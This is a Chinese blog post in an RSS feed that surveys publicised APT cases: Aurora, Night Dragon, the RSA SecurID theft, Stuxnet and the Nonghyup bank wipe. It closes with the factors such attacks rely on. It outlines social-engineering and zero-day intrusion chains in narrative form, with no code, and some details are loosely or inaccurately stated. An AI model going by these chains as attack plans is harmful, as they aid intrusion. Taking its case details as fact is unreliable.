<p>目前APT攻击发布细节出来的案例，基本都是以美国公布的。但是不代表APT攻击只针对欧美，主要原因在于，美国由于IT技术的发达成为APT攻击的首要目标，而且很多高科技公司也是民营的，而美国公司把针对安全事件发生后的调查和公布看作一种公司的诚信行为，而其他很多国家因为被攻击后更习惯捂盖子的做法公开的很少。另一个原因是我猜测，美国在APT检测和防御技术上具备一定的先进性使，他们具备针对部分APT攻击能及时发现，因此可以在攻击一开始时就配合取证了解完整的攻击过程与手法，而其他国家在这方面比较落后，发现时都是后期阶段，只能清除而很难分析取证溯源了解整个攻击过程与手法了。<br />
APT攻击案例中比较著名的有：<br />
1）针对GOOGLE等三十多个高科技公司的极光攻击：攻击者通过FACEBOOK上的好友分析，锁定了GOOGLE公司的一个员工和他的一个喜欢摄影的电脑小白好友。攻击者入侵并控制了电脑小白好友的机器，然后伪造了一个照片服务器，上面放置了IE的0DAY攻击代码，以电脑小白的身份给GOOGLE员工发送IM消息邀请他来看最新的照片，其实URL指向了这个IE 0DAY的页面。GOOGLE的员工相信之后打开了这个页面然后中招，攻击者利用GOOGLE这个员工的身份在内网内持续渗透，直到获得了GMAIL系统中很多敏感用户的访问权限。窃取了MAIL系统中的敏感信息后，攻击者通过合法加密信道将数据传出。事后调查，不止是GOOGLE中招了，三十多家美国高科技公司都被这一APT攻击搞定，甚至包括赛门铁克这样牛比的安全厂商。</p>
<p><span id="more-1237"></span><br />
2）针对美国能源部的夜龙攻击：攻击者首先收集了很多能源部门的WEB服务器的SQL注射的漏洞，攻击并控制了这些WEB服务器。但这并不是攻击者想要的，攻击者在这些WEB站点上一些供内部人员访问的页面上放置了针对IE和OFFICE应用的0DAY挂马攻击代码，因为针对内部站点的，靠挂马检测难以检测，传播范围不大，而且上来的都基本是目标。于是很快搞定了一些个人终端，渗透进能源部门的内网。窃取和控制了大量的有价值的主机。<br />
3）针对RSA窃取SECURID令牌种子的攻击：攻击者首先搞定了RSA一个外地的小分支机构人员的邮箱或主机，然后以这个人员的身份，向RSA的财务主管发了一封财务预算的邮件请求RSA的财务主管进行审核，内部附属了一个EXCEL的附件，但是里面嵌入了一个FLASH的0DAY利用代码。RSA的财务主管认为可信并是自己的工作职责，因此打开了这个XCEL附件，于是攻击者成功控制了RSA的财务主管，再利用RSA的财务主管的身份逐步渗透，最后窃取走了SECURID令牌种子，通过IE的代理传回给控制者，RSA发现被入侵后一直不承认SECURID令牌种子也被窃取走，直到攻击者利用窃取的SECURID令牌种子攻击了多个美国军工企业RSA才承认SECURID令牌种子被偷走。<br />
4）针对伊朗核电站的震网攻击：伊朗核电站是一个物理隔离的网络，因此攻击者首先获得了一些核电站工作人员和其家庭成员的信息，针对这些家庭成员的主机发起了攻击，成功控制了这些家庭用的主机，然后利用4个WINDOWS的0DAY漏洞，可以感染所有接入的USB移动介质以及通过USB移动介质可以攻击接入的主机。终于靠这种摆渡攻击渗透进了防护森严物理隔离的伊朗核电站内部网络，最后再利用了3个西门子的0DAY漏洞，成功控制了控制离心机的控制系统，修改了离心机参数，让其发电正常但生产不出制造核武器的物质，但在人工检测显示端显示一切正常。成功的将伊朗制造核武器的进程拖后了几年。<br />
还有一些属于APT攻击范畴但细节比较少或者攻击时就被发现的案例<br />
1）洛克-马丁：攻击者使用PDF 0DAY嵌入到邮件中发送给内部人员发起攻击，但被检测出来，但洛克-马丁未公布是如何检测到这个PDF 0DAY的<br />
2）VERISIGN：VERISIGN今年承认内部发现被黑客攻击成功，但当时在现在离任的高级管理人员都不知道这件事，VERISIGN坚持自己用于可信站点签名的根证书还是安全的，但是又没证据证明。如果VERISIGN的根证书和RSA的SECURID令牌种子一样已被窃取，这意味着攻击者以后可以扮演任何一个可信站点，可以针对加密链路发起中间人攻击而不被察觉。<br />
3）NASA：NASA承认去年至少有13次被黑客成功入侵且窃取走了许多核心机密，但具体的攻击细节没有披露。<br />
4）韩国农协银行：据一些未公开的分析过程是攻击者利用社工，将一张免费的网络电影观看券（韩国网上看电影是需要付费的）给了负责韩国农协银行内部系统开发的IBM外包团队的项目经理，项目经理使用了工作的笔记本去访问这个电影的URL中 招，攻击者利用此台笔记本作跳板，成功控制了韩国农协银行的所有重要系统并窃走信息。然后长期在银行备份时恶意破坏备份但显示备份成功，最后来了一次总爆 发，将所有数据删除后撤退。韩国农协银行试图用备份恢复系统发现最近的备份都被破坏，导致大量数据无法同步，损失惨重。<br />
当然还有一些被报道出来的APT攻击案例，这里就不一一列举。但总体来看，APT攻击始终依赖于：<br />
1）攻击者对被攻击者的信息了解，这是制定社工和攻击策略的前提；<br />
2）有针对性的0DAY漏洞，这是突破当前防护体系和有一些安全意识的人员的利器；<br />
3）有针对性的木马和行为的对抗，特别是杀毒，HIPS，网络审计产品的对抗</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e8%bd%ac%e8%bd%bd%e6%88%91%e7%9c%8bapt%e6%94%bb%e9%98%b2%e5%af%b9%e6%8a%97-2-apt%e6%94%bb%e5%87%bb%e7%9a%84%e6%a1%88%e4%be%8b/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

